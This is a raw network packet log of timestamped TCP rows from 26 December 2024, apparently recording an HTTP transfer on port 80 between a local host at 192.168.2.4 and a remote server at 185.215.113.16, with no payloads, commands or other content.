Dec 26, 2024 13:22:44.715823889 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.716849089 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.717000008 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.717084885 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.717634916 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.717844009 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.717890024 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.718605995 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.718767881 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.718811989 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.719536066 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.719964027 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.720014095 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.720500946 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.720948935 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.720995903 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.721424103 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.721544981 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.721590042 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.722392082 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.722489119 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.722532988 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.723381042 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.723454952 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.723500013 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.724355936 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.724529028 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.724595070 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.725234032 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.725409031 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.725470066 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.726300955 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.726464987 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.726488113 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.726535082 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.727191925 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.727282047 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.727324963 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.728100061 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.728235960 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.728275061 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.729065895 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.729177952 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.729269981 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.730041981 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.730150938 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.730200052 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.730973005 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.731014013 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.731062889 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.731993914 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.732116938 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.732167959 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.732880116 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.733009100 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.733051062 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.733876944 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.733895063 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.733933926 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.734780073 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.734906912 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.734952927 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.735760927 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.735872984 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.735913038 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.736716032 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.736830950 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.736880064 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.737512112 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.737651110 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.737763882 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.737802982 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.738620043 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.738811016 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.738852024 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.739622116 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.739717007 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.739762068 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.740545034 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.740582943 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.740632057 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.741499901 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.741599083 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.741642952 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.742396116 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.775286913 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.903007984 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.903034925 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.903093100 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.903280020 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.903484106 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.903527975 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.904355049 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.904475927 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.904515982 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.905702114 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.905715942 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.905807018 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.906455994 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.906547070 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.906598091 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.907140970 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.907248020 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.907296896 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.908188105 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.908250093 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.908298016 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.909043074 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.909140110 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.909183979 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.909929037 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.910128117 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.910175085 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.910876036 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.910952091 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.911000967 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.911869049 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.911947966 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.912019968 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.912832022 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.912898064 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.912974119 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.913778067 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.913907051 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.913964987 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.914756060 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.914822102 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.914860964 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.915715933 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.915817022 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.915857077 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.916729927 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.916867018 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.916906118 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.917599916 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.917730093 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.917768955 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.918571949 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.918663979 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.918709040 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.919504881 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.919621944 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.919671059 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.920494080 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.920603037 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.920650005 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.921453953 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.921541929 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.921581030 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.922389984 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.922503948 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.922550917 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.923324108 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.923448086 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.923491955 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.924364090 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.924491882 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.924541950 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.925242901 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.925354004 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.925438881 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.926208973 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.926403999 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.926450014 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.927203894 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.927334070 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.927382946 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.928126097 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.928205967 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.928250074 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.929121017 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.929244995 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.929285049 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.930052996 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.930102110 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.930139065 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.930986881 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.931111097 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.931157112 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.931951046 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.932074070 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.932121038 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.932887077 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.933002949 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.933048010 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.933824062 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.933893919 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.933943033 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.934865952 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.935184956 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.935239077 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.935755968 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.935873032 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.935911894 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.936728954 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.936826944 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.936870098 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.937690973 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.937793970 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.937839031 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.938672066 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.938723087 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.938766956 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.939646006 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.939744949 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.939788103 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.940615892 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.940758944 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.940798044 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.940931082 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.941509962 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.941612959 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.941653013 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.942455053 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.942482948 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.942517996 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.943470001 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.943579912 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.943619967 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.944371939 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.944413900 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.944453001 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.945333958 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.945394993 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.945441008 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.946341991 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.946683884 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.946732044 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.947263002 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.947438955 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.947484016 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.948165894 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.948290110 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.948331118 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.949192047 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.949280977 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.949323893 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.950139046 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.950256109 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.950305939 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.951035023 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.951172113 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.951217890 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.952007055 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.952125072 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.952171087 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:44.952903032 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:44.964559078 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.113718987 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.113756895 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.113802910 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.114411116 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.114528894 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.114574909 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.115278959 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.115380049 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.115420103 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.116096973 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.116198063 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.116244078 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.116945982 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.117010117 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.117055893 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.117789984 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.117875099 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.117925882 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.119164944 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.119287014 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.119335890 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.119875908 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.119914055 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.119976044 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.120721102 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.120903015 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.120944977 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.121639967 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.121731043 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.121824980 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.122570992 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.122715950 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.123589993 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.123635054 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.123738050 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.123774052 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.125041962 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.125190973 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.125240088 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.126177073 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.126327991 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.126365900 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.127623081 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.127764940 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.127810001 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.129134893 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.129659891 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.129705906 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.130392075 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.130626917 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.130670071 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.131592035 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.131716967 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.131798983 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.132354021 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.132467985 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.132512093 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.133209944 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.133315086 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.133450031 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.133938074 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.133990049 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.134058952 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.134711981 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.134793043 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.134865046 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.135473967 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.135579109 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.135633945 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.136271000 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.136320114 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.136354923 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.136946917 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.137007952 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.137631893 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.137658119 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.137674093 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.137697935 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.138318062 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.138351917 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.138396025 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.138964891 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.139036894 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.139080048 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.139942884 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.140037060 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.140079975 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.140906096 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.141005993 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.141048908 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:45.141700029 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:45.141824961 CET	80	49745	185.215.113.16	192.168.2.4
